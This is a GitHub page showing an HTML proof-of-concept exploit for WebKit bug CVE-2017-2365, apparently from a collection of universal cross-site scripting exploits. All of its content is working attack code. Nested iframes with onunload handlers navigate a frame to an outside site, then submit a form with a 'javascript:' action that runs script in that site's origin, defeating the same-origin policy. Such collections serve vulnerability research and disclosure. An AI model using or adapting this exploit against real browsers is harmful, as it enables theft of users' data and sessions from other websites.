uxss-db/webkit/CVE-2017-2365/exploit.html at master · Metnew/uxss-db · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html>
<html>
  <body>
    <script type="text/javascript">
    "use strict";

    let f = document.documentElement.appendChild(document.createElement("iframe"));
    let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));

    a.contentWindow.onunload = () => {
        f.src = "javascript:''";

        let b = f.contentDocument.appendChild(document.createElement("iframe"));
        b.contentWindow.onunload = () => {
            f.src = "javascript:''";

            let doc = f.contentDocument;

            f.onload = () => {
                f.onload = () => {
                    f.onload = null;

                    let s = doc.createElement("form");
                    s.action = "javascript:alert(location)";
                    s.submit();
                };

                f.src = "https://abc.xyz/";
            };

        };
    };

    f.src = "javascript:''";
    </script>
  </body>
</html>